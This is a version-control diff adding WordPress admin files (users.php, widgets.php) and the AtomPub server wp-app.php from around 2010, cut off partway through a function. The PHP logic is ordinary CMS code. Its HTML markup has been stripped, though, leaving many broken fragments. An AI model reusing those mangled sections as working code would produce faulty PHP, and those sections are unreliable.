    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/users.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/users.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,395 @@ +'; +} elseif ( isset($_REQUEST['wp_http_referer']) ) { + $redirect = remove_query_arg(array('wp_http_referer', 'updated', 'delete_count'), stripslashes($_REQUEST['wp_http_referer'])); + $referer = ''; +} else { + $redirect = 'users.php'; + $referer = ''; +} + +switch ($doaction) { + +/* Bulk Dropdown menu Role changes */ +case 'promote': + check_admin_referer('bulk-users'); + + if (empty($_REQUEST['users'])) { + wp_redirect($redirect); + exit(); + } + + $editable_roles = get_editable_roles(); + if (!$editable_roles[$_REQUEST['new_role']]) + wp_die(__('You can’t give users that role.')); + + $userids = $_REQUEST['users']; + $update = 'promote'; + foreach($userids as $id) { + if ( ! current_user_can('edit_user', $id) ) + wp_die(__('You can’t edit that user.')); + // The new role of the current user must also have edit_users caps + if($id == $current_user->ID && !$wp_roles->role_objects[$_REQUEST['new_role']]->has_cap('edit_users')) { + $update = 'err_admin_role'; + continue; + } + + $user = new WP_User($id); + $user->set_role($_REQUEST['new_role']); + } + + wp_redirect(add_query_arg('update', $update, $redirect)); + exit(); + +break; + +case 'dodelete': + + check_admin_referer('delete-users'); + + if ( empty($_REQUEST['users']) ) { + wp_redirect($redirect); + exit(); + } + + if ( !current_user_can('delete_users') ) + wp_die(__('You can’t delete users.')); + + $userids = $_REQUEST['users']; + $update = 'del'; + $delete_count = 0; + + foreach ( (array) $userids as $id) { + if ( ! current_user_can('delete_user', $id) ) + wp_die(__('You can’t delete that user.')); + + if($id == $current_user->ID) { + $update = 'err_admin_del'; + continue; + } + switch($_REQUEST['delete_option']) { + case 'delete': + wp_delete_user($id); + break; + case 'reassign': + wp_delete_user($id, $_REQUEST['reassign_user']); + break; + } + ++$delete_count; + } + + $redirect = add_query_arg( array('delete_count' => $delete_count, 'update' => $update), $redirect); + wp_redirect($redirect); + exit(); + +break; + +case 'delete': + + check_admin_referer('bulk-users'); + + if ( empty($_REQUEST['users']) && empty($_REQUEST['user']) ) { + wp_redirect($redirect); + exit(); + } + + if ( !current_user_can('delete_users') ) + $errors = new WP_Error('edit_users', __('You can’t delete users.')); + + if ( empty($_REQUEST['users']) ) + $userids = array(intval($_REQUEST['user'])); + else + $userids = $_REQUEST['users']; + + include ('admin-header.php'); +?> +
    + + + +
    + +

    +

    +
      +ID ) { + echo "
    • " . sprintf(__('ID #%1s: %2s The current user will not be deleted.'), $id, $user->user_login) . "
    • \n"; + } else { + echo "
    • " . sprintf(__('ID #%1s: %2s'), $id, $user->user_login) . "
    • \n"; + $go_delete = true; + } + } + $all_logins = $wpdb->get_results("SELECT ID, user_login FROM $wpdb->users ORDER BY user_login"); + $user_dropdown = ''; + ?> +
    + +

    +
      +
    • +
    • + '.__('Attribute all posts and links to:')." $user_dropdown"; ?>
    • +
    + +

    + +

    + +
    +
    +

    ' . sprintf(_n('%s user deleted', '%s users deleted', $delete_count), $delete_count) . '

    '; + break; + case 'add': + $messages[] = '

    ' . __('New user created.') . '

    '; + break; + case 'promote': + $messages[] = '

    ' . __('Changed roles.') . '

    '; + break; + case 'err_admin_role': + $messages[] = '

    ' . __('The current user’s role must have user editing capabilities.') . '

    '; + $messages[] = '

    ' . __('Other user roles have been changed.') . '

    '; + break; + case 'err_admin_del': + $messages[] = '

    ' . __('You can’t delete the current user.') . '

    '; + $messages[] = '

    ' . __('Other users have been deleted.') . '

    '; + break; + } + endif; ?> + + +
    +
      + get_error_messages() as $err ) + echo "
    • $err
    • \n"; + ?> +
    +
    + + +
    + +

    ' . __('Search results for “%s”') . '', esc_html( $_GET['usersearch'] ) ); ?> +

    + +
    +
    +
      +meta_value); + foreach ( (array) $b_roles as $b_role => $val ) { + if ( !isset($avail_roles[$b_role]) ) + $avail_roles[$b_role] = 0; + $avail_roles[$b_role]++; + } +} +unset($users_of_blog); + +$current_role = false; +$class = empty($role) ? ' class="current"' : ''; +$role_links[] = "
    • " . sprintf( _nx( 'All (%s)', 'All (%s)', $total_users, 'users' ), number_format_i18n( $total_users ) ) . ''; +foreach ( $wp_roles->get_names() as $this_role => $name ) { + if ( !isset($avail_roles[$this_role]) ) + continue; + + $class = ''; + + if ( $this_role == $role ) { + $current_role = $role; + $class = ' class="current"'; + } + + $name = translate_user_role( $name ); + /* translators: User role name with count */ + $name = sprintf( __('%1$s (%2$s)'), $name, $avail_roles[$this_role] ); + $role_links[] = "
    • $name"; +} +echo implode( " |
    • \n", $role_links) . ''; +unset($role_links); +?> +
    +
    +
    + +
    + +
    + +
    +
    + +results_are_paged() ) : ?> +
    page_links(); ?>
    + + +
    + + + + + +
    + +
    +
    + + search_errors ) ) : ?> +
    +
      + search_errors->get_error_messages() as $message ) + echo "
    • $message
    • "; + ?> +
    +
    + + + +get_results() ) : ?> + + is_search() ) : ?> +

    + + + + + + + + + + + + + + + + +get_results() as $userid ) { + $user_object = new WP_User($userid); + $roles = $user_object->roles; + $role = array_shift($roles); + + $style = ( ' class="alternate"' == $style ) ? '' : ' class="alternate"'; + echo "\n\t" . user_row($user_object, $style, $role); +} +?> + +
    + +
    + +results_are_paged() ) : ?> +
    page_links(); ?>
    + + +
    + + +
    + +
    +
    + + + +
    +
    + +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/widgets.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/widgets.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,396 @@ + __('Inactive Widgets'), + 'id' => 'wp_inactive_widgets', + 'description' => '', + 'before_widget' => '', + 'after_widget' => '', + 'before_title' => '', + 'after_title' => '', +)); + +// These are the widgets grouped by sidebar +$sidebars_widgets = wp_get_sidebars_widgets(); +if ( empty( $sidebars_widgets ) ) + $sidebars_widgets = wp_get_widget_defaults(); + +// look for "lost" widgets, this has to run at least on each theme change +function retrieve_widgets() { + global $wp_registered_widget_updates, $wp_registered_sidebars, $sidebars_widgets, $wp_registered_widgets; + + $_sidebars_widgets = array(); + $sidebars = array_keys($wp_registered_sidebars); + + unset( $sidebars_widgets['array_version'] ); + + $old = array_keys($sidebars_widgets); + sort($old); + sort($sidebars); + + if ( $old == $sidebars ) + return; + + // Move the known-good ones first + foreach ( $sidebars as $id ) { + if ( array_key_exists( $id, $sidebars_widgets ) ) { + $_sidebars_widgets[$id] = $sidebars_widgets[$id]; + unset($sidebars_widgets[$id], $sidebars[$id]); + } + } + + // if new theme has less sidebars than the old theme + if ( !empty($sidebars_widgets) ) { + foreach ( $sidebars_widgets as $lost => $val ) { + if ( is_array($val) ) + $_sidebars_widgets['wp_inactive_widgets'] = array_merge( (array) $_sidebars_widgets['wp_inactive_widgets'], $val ); + } + } + + // discard invalid, theme-specific widgets from sidebars + $shown_widgets = array(); + foreach ( $_sidebars_widgets as $sidebar => $widgets ) { + if ( !is_array($widgets) ) + continue; + + $_widgets = array(); + foreach ( $widgets as $widget ) { + if ( isset($wp_registered_widgets[$widget]) ) + $_widgets[] = $widget; + } + $_sidebars_widgets[$sidebar] = $_widgets; + $shown_widgets = array_merge($shown_widgets, $_widgets); + } + + $sidebars_widgets = $_sidebars_widgets; + unset($_sidebars_widgets, $_widgets); + + // find hidden/lost multi-widget instances + $lost_widgets = array(); + foreach ( $wp_registered_widgets as $key => $val ) { + if ( in_array($key, $shown_widgets, true) ) + continue; + + $number = preg_replace('/.+?-([0-9]+)$/', '$1', $key); + + if ( 2 > (int) $number ) + continue; + + $lost_widgets[] = $key; + } + + $sidebars_widgets['wp_inactive_widgets'] = array_merge($lost_widgets, (array) $sidebars_widgets['wp_inactive_widgets']); + wp_set_sidebars_widgets($sidebars_widgets); +} +retrieve_widgets(); + +if ( count($wp_registered_sidebars) == 1 ) { + // If only "wp_inactive_widgets" is defined the theme has no sidebars, die. + require_once( 'admin-header.php' ); +?> + +
    + +

    +
    +

    +
    +

    follow these instructions.' ); ?>

    +
    + + $val ) { + if ( is_array($val) && preg_match('/__i__|%i%/', key($val)) ) { + $_POST[$key] = array( $number => array_shift($val) ); + break; + } + } + } + + $sidebar_id = $_POST['sidebar']; + $position = isset($_POST[$sidebar_id . '_position']) ? (int) $_POST[$sidebar_id . '_position'] - 1 : 0; + + $id_base = $_POST['id_base']; + $sidebar = isset($sidebars_widgets[$sidebar_id]) ? $sidebars_widgets[$sidebar_id] : array(); + + // delete + if ( isset($_POST['removewidget']) && $_POST['removewidget'] ) { + + if ( !in_array($widget_id, $sidebar, true) ) { + wp_redirect('widgets.php?error=0'); + exit; + } + + $sidebar = array_diff( $sidebar, array($widget_id) ); + $_POST = array('sidebar' => $sidebar_id, 'widget-' . $id_base => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1'); + } + + $_POST['widget-id'] = $sidebar; + + foreach ( (array) $wp_registered_widget_updates as $name => $control ) { + if ( $name != $id_base || !is_callable($control['callback']) ) + continue; + + ob_start(); + call_user_func_array( $control['callback'], $control['params'] ); + ob_end_clean(); + + break; + } + + $sidebars_widgets[$sidebar_id] = $sidebar; + + // remove old position + if ( !isset($_POST['delete_widget']) ) { + foreach ( $sidebars_widgets as $key => $sb ) { + if ( is_array($sb) ) + $sidebars_widgets[$key] = array_diff( $sb, array($widget_id) ); + } + array_splice( $sidebars_widgets[$sidebar_id], $position, 0, $widget_id ); + } + + wp_set_sidebars_widgets($sidebars_widgets); + wp_redirect('widgets.php?message=0'); + exit; +} + +// Output the widget form without js +if ( isset($_GET['editwidget']) && $_GET['editwidget'] ) { + $widget_id = $_GET['editwidget']; + + if ( isset($_GET['addnew']) ) { + // Default to the first sidebar + $sidebar = array_shift( $keys = array_keys($wp_registered_sidebars) ); + + if ( isset($_GET['base']) && isset($_GET['num']) ) { // multi-widget + // Copy minimal info from an existing instance of this widget to a new instance + foreach ( $wp_registered_widget_controls as $control ) { + if ( $_GET['base'] === $control['id_base'] ) { + $control_callback = $control['callback']; + $multi_number = (int) $_GET['num']; + $control['params'][0]['number'] = -1; + $widget_id = $control['id'] = $control['id_base'] . '-' . $multi_number; + $wp_registered_widget_controls[$control['id']] = $control; + break; + } + } + } + } + + if ( isset($wp_registered_widget_controls[$widget_id]) && !isset($control) ) { + $control = $wp_registered_widget_controls[$widget_id]; + $control_callback = $control['callback']; + } elseif ( !isset($wp_registered_widget_controls[$widget_id]) && isset($wp_registered_widgets[$widget_id]) ) { + $name = esc_html( strip_tags($wp_registered_widgets[$widget_id]['name']) ); + } + + if ( !isset($name) ) + $name = esc_html( strip_tags($control['name']) ); + + if ( !isset($sidebar) ) + $sidebar = isset($_GET['sidebar']) ? $_GET['sidebar'] : 'wp_inactive_widgets'; + + if ( !isset($multi_number) ) + $multi_number = isset($control['params'][0]['number']) ? $control['params'][0]['number'] : ''; + + $id_base = isset($control['id_base']) ? $control['id_base'] : $control['id']; + + // show the widget form + $width = ' style="width:' . max($control['width'], 350) . 'px"'; + $key = isset($_GET['key']) ? (int) $_GET['key'] : 0; + + require_once( 'admin-header.php' ); ?> +
    + +

    +
    > +

    + +
    +
    +' . __('There are no options for this widget.') . "

    \n"; ?> +
    + +

    +
    + + $sbvalue ) { + echo "\t\t\n"; + } ?> +
    "; + if ( 'wp_inactive_widgets' == $sbname ) { + echo ' '; + } else { + if ( !isset($sidebars_widgets[$sbname]) || !is_array($sidebars_widgets[$sbname]) ) { + $j = 1; + $sidebars_widgets[$sbname] = array(); + } else { + $j = count($sidebars_widgets[$sbname]); + if ( isset($_GET['addnew']) || !in_array($widget_id, $sidebars_widgets[$sbname], true) ) + $j++; + } + $selected = ''; + echo "\t\t\n"; + } + echo "
    +
    + +
    + + + + + + + + + + +
    +
    +
    +
    +
    + + +
    + +

    + + +

    + + +

    + + +
    +
    +
    + +
    +

    +
    + +
    +
    +
    +
    +
    + +
    + +
    +

    + +
    +
    +
    +
    +
    + +
    +
    + $registered_sidebar ) { + if ( 'wp_inactive_widgets' == $sidebar ) + continue; + $closed = $i ? ' closed' : ''; ?> +
    + + +
    + +
    +
    +
    + +
    +
    +
    + + + * @author Modified by Dougal Campbell + * @version 1.0.5-dc + */ + +/** + * WordPress is handling an Atom Publishing Protocol request. + * + * @var bool + */ +define('APP_REQUEST', true); + +/** Set up WordPress environment */ +require_once('./wp-load.php'); + +/** Atom Publishing Protocol Class */ +require_once(ABSPATH . WPINC . '/atomlib.php'); + +/** Admin Image API for metadata updating */ +require_once(ABSPATH . '/wp-admin/includes/image.php'); + +$_SERVER['PATH_INFO'] = preg_replace( '/.*\/wp-app\.php/', '', $_SERVER['REQUEST_URI'] ); + +/** + * Whether to enable Atom Publishing Protocol Logging. + * + * @name app_logging + * @var int|bool + */ +$app_logging = 0; + +/** + * Whether to always authenticate user. Permanently set to true. + * + * @name always_authenticate + * @var int|bool + * @todo Should be an option somewhere + */ +$always_authenticate = 1; + +/** + * Writes logging info to a file. + * + * @since 2.2.0 + * @uses $app_logging + * @package WordPress + * @subpackage Logging + * + * @param string $label Type of logging + * @param string $msg Information describing logging reason. + */ +function log_app($label,$msg) { + global $app_logging; + if ($app_logging) { + $fp = fopen( 'wp-app.log', 'a+'); + $date = gmdate( 'Y-m-d H:i:s' ); + fwrite($fp, "\n\n$date - $label\n$msg\n"); + fclose($fp); + } +} + +/** + * Filter to add more post statuses. + * + * @since 2.2.0 + * + * @param string $where SQL statement to filter. + * @return string Filtered SQL statement with added post_status for where clause. + */ +function wa_posts_where_include_drafts_filter($where) { + $where = str_replace("post_status = 'publish'","post_status = 'publish' OR post_status = 'future' OR post_status = 'draft' OR post_status = 'inherit'", $where); + return $where; + +} +add_filter('posts_where', 'wa_posts_where_include_drafts_filter'); + +/** + * WordPress AtomPub API implementation. + * + * @package WordPress + * @subpackage Publishing + * @since 2.2.0 + */ +class AtomServer { + + /** + * ATOM content type. + * + * @since 2.2.0 + * @var string + */ + var $ATOM_CONTENT_TYPE = 'application/atom+xml'; + + /** + * Categories ATOM content type. + * + * @since 2.2.0 + * @var string + */ + var $CATEGORIES_CONTENT_TYPE = 'application/atomcat+xml'; + + /** + * Service ATOM content type. + * + * @since 2.3.0 + * @var string + */ + var $SERVICE_CONTENT_TYPE = 'application/atomsvc+xml'; + + /** + * ATOM XML namespace. + * + * @since 2.3.0 + * @var string + */ + var $ATOM_NS = 'http://www.w3.org/2005/Atom'; + + /** + * ATOMPUB XML namespace. + * + * @since 2.3.0 + * @var string + */ + var $ATOMPUB_NS = 'http://www.w3.org/2007/app'; + + /** + * Entries path. + * + * @since 2.2.0 + * @var string + */ + var $ENTRIES_PATH = "posts"; + + /** + * Categories path. + * + * @since 2.2.0 + * @var string + */ + var $CATEGORIES_PATH = "categories"; + + /** + * Media path. + * + * @since 2.2.0 + * @var string + */ + var $MEDIA_PATH = "attachments"; + + /** + * Entry path. + * + * @since 2.2.0 + * @var string + */ + var $ENTRY_PATH = "post"; + + /** + * Service path. + * + * @since 2.2.0 + * @var string + */ + var $SERVICE_PATH = "service"; + + /** + * Media single path. + * + * @since 2.2.0 + * @var string + */ + var $MEDIA_SINGLE_PATH = "attachment"; + + /** + * ATOMPUB parameters. + * + * @since 2.2.0 + * @var array + */ + var $params = array(); + + /** + * Supported ATOMPUB media types. + * + * @since 2.3.0 + * @var array + */ + var $media_content_types = array('image/*','audio/*','video/*'); + + /** + * ATOMPUB content type(s). + * + * @since 2.2.0 + * @var array + */ + var $atom_content_types = array('application/atom+xml'); + + /** + * ATOMPUB methods. + * + * @since 2.2.0 + * @var unknown_type + */ + var $selectors = array(); + + /** + * Whether to do output. + * + * Support for head. + * + * @since 2.2.0 + * @var bool + */ + var $do_output = true; + + /** + * PHP4 constructor - Sets up object properties. + * + * @since 2.2.0 + * @return AtomServer + */ + function AtomServer() { + + $this->script_name = array_pop(explode('/',$_SERVER['SCRIPT_NAME'])); + $this->app_base = get_bloginfo('url') . '/' . $this->script_name . '/'; + if ( isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) == 'on' ) { + $this->app_base = preg_replace( '/^http:\/\//', 'https://', $this->app_base ); + } + + $this->selectors = array( + '@/service$@' => + array('GET' => 'get_service'), + '@/categories$@' => + array('GET' => 'get_categories_xml'), + '@/post/(\d+)$@' => + array('GET' => 'get_post', + 'PUT' => 'put_post', + 'DELETE' => 'delete_post'), + '@/posts/?(\d+)?$@' => + array('GET' => 'get_posts', + 'POST' => 'create_post'), + '@/attachments/?(\d+)?$@' => + array('GET' => 'get_attachment', + 'POST' => 'create_attachment'), + '@/attachment/file/(\d+)$@' => + array('GET' => 'get_file', + 'PUT' => 'put_file', + 'DELETE' => 'delete_file'), + '@/attachment/(\d+)$@' => + array('GET' => 'get_attachment', + 'PUT' => 'put_attachment', + 'DELETE' => 'delete_attachment'), + ); + } + + /** + * Handle ATOMPUB request. + * + * @since 2.2.0 + */ + function handle_request() { + global $always_authenticate; + + if( !empty( $_SERVER['ORIG_PATH_INFO'] ) ) + $path = $_SERVER['ORIG_PATH_INFO']; + else + $path = $_SERVER['PATH_INFO']; + + $method = $_SERVER['REQUEST_METHOD']; + + log_app('REQUEST',"$method $path\n================"); + + $this->process_conditionals(); + //$this->process_conditionals(); + + // exception case for HEAD (treat exactly as GET, but don't output) + if($method == 'HEAD') { + $this->do_output = false; + $method = 'GET'; + } + + // redirect to /service in case no path is found. + if(strlen($path) == 0 || $path == '/') { + $this->redirect($this->get_service_url()); + } + + // check to see if AtomPub is enabled + if( !get_option( 'enable_app' ) ) + $this->forbidden( sprintf( __( 'AtomPub services are disabled on this blog. An admin user can enable them at %s' ), admin_url('options-writing.php') ) ); + + // dispatch + foreach($this->selectors as $regex => $funcs) { + if(preg_match($regex, $path, $matches)) { + if(isset($funcs[$method])) { + + // authenticate regardless of the operation and set the current + // user. each handler will decide if auth is required or not. + if(!$this->authenticate()) { + if ($always_authenticate) { + $this->auth_required('Credentials required.'); + } + } + + array_shift($matches); + call_user_func_array(array(&$this,$funcs[$method]), $matches); + exit(); + } else { + // only allow what we have handlers for... + $this->not_allowed(array_keys($funcs)); + } + } + } + + // oops, nothing found + $this->not_found(); + } + + /** + * Retrieve XML for ATOMPUB service. + * + * @since 2.2.0 + */ + function get_service() { + log_app('function','get_service()'); + + if( !current_user_can( 'edit_posts' ) ) + $this->auth_required( __( 'Sorry, you do not have the right to access this blog.' ) ); + + $entries_url = esc_attr($this->get_entries_url()); + $categories_url = esc_attr($this->get_categories_url()); + $media_url = esc_attr($this->get_attachments_url()); + $accepted_media_types = ''; + foreach ($this->media_content_types as $med) { + $accepted_media_types = $accepted_media_types . "" . $med . ""; + } + $atom_prefix="atom"; + $atom_blogname=get_bloginfo('name'); + $service_doc = << + + <$atom_prefix:title>$atom_blogname Workspace + + <$atom_prefix:title>$atom_blogname Posts + $this->ATOM_CONTENT_TYPE;type=entry + + + + <$atom_prefix:title>$atom_blogname Media + $accepted_media_types + + + + +EOD; + + $this->output($service_doc, $this->SERVICE_CONTENT_TYPE); + } + + /** + * Retrieve categories list in XML format. + * + * @since 2.2.0 + */ + function get_categories_xml() { + log_app('function','get_categories_xml()'); + + if( !current_user_can( 'edit_posts' ) ) + $this->auth_required( __( 'Sorry, you do not have the right to access this blog.' ) ); + + $home = esc_attr(get_bloginfo_rss('home')); + + $categories = ""; + $cats = get_categories("hierarchical=0&hide_empty=0"); + foreach ((array) $cats as $cat) { + $categories .= " name) . "\" />\n"; +} + $output = << + $categories + +EOD; + $this->output($output, $this->CATEGORIES_CONTENT_TYPE); +} + + /** + * Create new post. + * + * @since 2.2.0 + */ + function create_post() { + global $blog_id, $user_ID; + $this->get_accepted_content_type($this->atom_content_types); + + $parser = new AtomParser(); + if(!$parser->parse()) { + $this->client_error(); + } + + $entry = array_pop($parser->feed->entries); + + log_app('Received entry:', print_r($entry,true)); + + $catnames = array(); + foreach($entry->categories as $cat) + array_push($catnames, $cat["term"]); + + $wp_cats = get_categories(array('hide_empty' => false)); + + $post_category = array(); + + foreach($wp_cats as $cat) { + if(in_array($cat->name, $catnames)) + array_push($post_category, $cat->term_id); + } + + $publish = (isset($entry->draft) && trim($entry->draft) == 'yes') ? false : true; + + $cap = ($publish) ? 'publish_posts' : 'edit_posts'; + + if(!current_user_can($cap)) + $this->auth_required(__('Sorry, you do not have the right to edit/publish new posts.')); + + $blog_ID = (int ) $blog_id; + $post_status = ($publish) ? 'publish' : 'draft'; + $post_author = (int) $user_ID; + $post_title = $entry->title[1]; + $post_content = $entry->content[1]; + $post_excerpt = $entry->summary[1]; + $pubtimes = $this->get_publish_time($entry->published); + $post_date = $pubtimes[0]; + $post_date_gmt = $pubtimes[1]; + + if ( isset( $_SERVER['HTTP_SLUG'] ) ) + $post_name = $_SERVER['HTTP_SLUG']; + + $post_data = compact('blog_ID', 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'post_name'); + + $this->escape($post_data); + log_app('Inserting Post. Data:', print_r($post_data,true)); + + $postID = wp_insert_post($post_data); + if ( is_wp_error( $postID ) ) + $this->internal_error($postID->get_error_message()); + + if (!$postID) + $this->internal_error(__('Sorry, your entry could not be posted. Something wrong happened.')); + + // getting warning here about unable to set headers + // because something in the cache is printing to the buffer + // could we clean up wp_set_post_categories or cache to not print + // this could affect our ability to send back the right headers + @wp_set_post_categories($postID, $post_category); + + do_action( 'atompub_create_post', $postID, $entry ); + + $output = $this->get_entry($postID); + + log_app('function',"create_post($postID)"); + $this->created($postID, $output); + } + + /** + * Retrieve post. + * + * @since 2.2.0 + * + * @param int $postID Post ID. + */ + function get_post($postID) { + global $entry; + + if( !current_user_can( 'edit_post', $postID ) ) + $this->auth_required( __( 'Sorry, you do not have the right to access this post.' ) ); + + $this->set_current_entry($postID); + $output = $this->get_entry($postID); + log_app('function',"get_post($postID)"); + $this->output($output); + + } + + /** + * Update post. + * + * @since 2.2.0 + * + * @param int $postID Post ID. + */ + function put_post($postID) { + // checked for valid content-types (atom+xml) + // quick check and exit + $this->get_accepted_content_type($this->atom_content_types); + + $parser = new AtomParser(); + if(!$parser->parse()) { + $this->bad_request(); + } + + $parsed = array_pop($parser->feed->entries); + + log_app('Received UPDATED entry:', print_r($parsed,true)); + + // check for not found + global $entry; + $this->set_current_entry($postID); + + if(!current_user_can('edit_post', $entry['ID'])) + $this->auth_required(__('Sorry, you do not have the right to edit this post.')); + + $publish = (isset($parsed->draft) && trim($parsed->draft) == 'yes') ? false : true; + $post_status = ($publish) ? 'publish' : 'draft'; + + extract($entry); + + $post_title = $parsed->title[1]; + $post_content = $parsed->content[1]; + $post_excerpt = $parsed->summary[1]; + $pubtimes = $this->get_publish_time($entry->published); + $post_date = $pubtimes[0]; + $post_date_gmt = $pubtimes[1]; + $pubtimes = $this->get_publish_time($parsed->updated); + $post_modified = $pubtimes[0]; + $post_modified_gmt = $pubtimes[1]; + + $postdata = compact('ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt'); + $this->escape($postdata); + + $result = wp_update_post($postdata); + + if (!$result) { + $this->internal_error(__('For some strange yet very annoying reason, this post could not be edited.')); + } + + do_action( 'atompub_put_post', $ID, $parsed ); + + log_app('function',"put_post($postID)"); + $this->ok(); + } + + /** + * Remove post. + * + * @since 2.2.0 + * + * @param int $postID Post ID. + */ + function delete_post($postID) { + + // check for not found + global $entry; + $this->set_current_entry($postID); + + if(!current_user_can('edit_post', $postID)) { + $this->auth_required(__('Sorry, you do not have the right to delete this post.')); + } + + if ($entry['post_type'] == 'attachment') { + $this->delete_attachment($postID); + } else { + $result = wp_delete_post($postID); + + if (!$result) { + $this->internal_error(__('For some strange yet very annoying reason, this post could not be deleted.')); + } + + log_app('function',"delete_post($postID)"); + $this->ok(); + } + + } + + /** + * Retrieve attachment. + * + * @since 2.2.0 + * + * @param int $postID Optional. Post ID. + */ + function get_attachment($postID = null) { + if( !current_user_can( 'upload_files' ) ) + $this->auth_required( __( 'Sorry, you do not have permission to upload files.' ) ); + + if (!isset($postID)) { + $this->get_attachments(); + } else { + $this->set_current_entry($postID); + $output = $this->get_entry($postID, 'attachment'); + log_app('function',"get_attachment($postID)"); + $this->output($output); + } + } + + /** + * Create new attachment. + * + * @since 2.2.0 + */ + function create_attachment() { + + $type = $this->get_accepted_content_type(); + + if(!current_user_can('upload_files')) + $this->auth_required(__('You do not have permission to upload files.')); + + $fp = fopen("php://input", "rb"); + $bits = null; + while(!feof($fp)) { + $bits .= fread($fp, 4096); + } + fclose($fp); + + $slug = ''; + if ( isset( $_SERVER['HTTP_SLUG'] ) ) + $slug = sanitize_file_name( $_SERVER['HTTP_SLUG'] ); + elseif ( isset( $_SERVER['HTTP_TITLE'] ) ) + $slug = sanitize_file_name( $_SERVER['HTTP_TITLE'] ); + elseif ( empty( $slug ) ) // just make a random name + $slug = substr( md5( uniqid( microtime() ) ), 0, 7); + $ext = preg_replace( '|.*/([a-z0-9]+)|', '$1', $_SERVER['CONTENT_TYPE'] ); + $slug = "$slug.$ext"; + $file = wp_upload_bits( $slug, NULL, $bits); + + log_app('wp_upload_bits returns:',print_r($file,true)); + + $url = $file['url']; + $file = $file['file']; + + do_action('wp_create_file_in_uploads', $file); // replicate + + // Construct the attachment array + $attachment = array( + 'post_title' => $slug, + 'post_content' => $slug, + 'post_status' => 'attachment', + 'post_parent' => 0, + 'post_mime_type' => $type, + 'guid' => $url + ); + + // Save the data + $postID = wp_insert_attachment($attachment, $file); + + if (!$postID) + $this->internal_error(__('Sorry, your entry could not be posted. Something wrong happened.')); + + $output = $this->get_entry($postID, 'attachment'); + + $this->created($postID, $output, 'attachment'); + log_app('function',"create_attachment($postID)"); + } + + /** + * Update attachment. + * + * @since 2.2.0 + * + * @param int $postID Post ID. + */ + function put_attachment($postID) { + // checked for valid content-types (atom+xml) + // quick check and exit + $this->get_accepted_content_type($this->atom_content_types); + + $parser = new AtomParser(); + if(!$parser->parse()) { + $this->bad_request(); + } + + $parsed = array_pop($parser->feed->entries); + + // check for not found + global $entry; + $this->set_current_entry($postID); + + if(!current_user_can('edit_post', $entry['ID'])) + $this->auth_required(__('Sorry, you do not have the right to edit this post.')); + + extract($entry); + + $post_title = $parsed->title[1]; + $post_content = $parsed->summary[1]; + $pubtimes = $this->get_publish_time($parsed->updated); + $post_modified = $pubtimes[0]; + $post_modified_gmt = $pubtimes[1]; + + $postdata = compact('ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'post_modified', 'post_modified_gmt'); + $this->escape($postdata); + + $result = wp_update_post($postdata); + + if (!$result) { + $this->internal_error(__('For some strange yet very annoying reason, this post could not be edited.')); + } + + log_app('function',"put_attachment($postID)"); + $this->ok(); + } + + /** + * Remove attachment. + * + * @since 2.2.0 + * + * @param int $postID Post ID. + */ + function delete_attachment($postID) { + log_app('function',"delete_attachment($postID). File '$location' deleted."); + + // check for not found + global $entry; + $this->set_current_entry($postID); + + if(!current_user_can('edit_post', $postID)) { + $this->auth_required(__('Sorry, you do not have the right to delete this post.')); + } + + $location = get_post_meta($entry['ID'], '_wp_attached_file', true); + $filetype = wp_check_filetype($location); + + if(!isset($location) || 'attachment' != $entry['post_type'] || empty($filetype['ext'])) + $this->internal_error(__('Error ocurred while accessing post metadata for file location.')); + + // delete file + @unlink($location); + + // delete attachment + $result = wp_delete_post($postID); + + if (!$result) { + $this->internal_error(__('For some strange yet very annoying reason, this post could not be deleted.')); + } + + log_app('function',"delete_attachment($postID). File '$location' deleted."); + $this->ok(); + } + + /** + * Retrieve attachment from post. + * + * @since 2.2.0 + * + * @param int $postID Post ID. + */ + function get_file($postID) { + + // check for not found + global $entry; + $this->set_current_entry($postID); + + // then whether user can edit the specific post + if(!current_user_can('edit_post', $postID)) { + $this->auth_required(__('Sorry, you do not have the right to edit this post.')); + } + + $location = get_post_meta($entry['ID'], '_wp_attached_file', true); + $location = get_option ('upload_path') . '/' . $location; + $filetype = wp_check_filetype($location); + + if(!isset($location) || 'attachment' != $entry['post_type'] || empty($filetype['ext'])) + $this->internal_error(__('Error ocurred while accessing post metadata for file location.')); + + status_header('200'); + header('Content-Type: ' . $entry['post_mime_type']); + header('Connection: close'); + + if ($fp = fopen($location, "rb")) { + status_header('200'); + header('Content-Type: ' . $entry['post_mime_type']); + header('Connection: close'); + + while(!feof($fp)) { + echo fread($fp, 4096); + } + + fclose($fp); + } else { + status_header ('404'); + } + + log_app('function',"get_file($postID)"); + exit; + } + + /** + * Upload file to blog and add attachment to post. + * + * @since 2.2.0 + * + * @param int $postID Post ID. + */ + function put_file($postID) { + + // first check if user can upload + if(!current_user_can('upload_files')) + $this->auth_required(__('You do not have permission to upload files.')); + + // check for not found + global $entry; + $this->set_current_entry($postID); + + // then whether user can edit the specific post + if(!current_user_can('edit_post', $postID)) { + $this->auth_required(__('Sorry, you do not have the right to edit this post.')); + } + + $upload_dir = wp_upload_dir( ); + $location = get_post_meta($entry['ID'], '_wp_attached_file', true); + $filetype = wp_check_filetype($location); + + $location = "{$upload_dir['basedir']}/{$location}"; + + if(!isset($location) || 'attachment' != $entry['post_type'] || empty($filetype['ext'])) + $this->internal_error(__('Error ocurred while accessing post metadata for file location.')); + + $fp = fopen("php://input", "rb"); + $localfp = fopen($location, "w+"); + while(!feof($fp)) { + fwrite($localfp,fread($fp, 4096)); + } + fclose($fp); + fclose($localfp); + + $ID = $entry['ID']; + $pubtimes = $this->get_publish_time($entry->published); + $post_date = $pubtimes[0]; + $post_date_gmt = $pubtimes[1]; + $pubtimes = $this->get_publish_time($parsed->updated); + $post_modified = $pubtimes[0]; + $post_modified_gmt = $pubtimes[1]; + + $post_data = compact('ID', 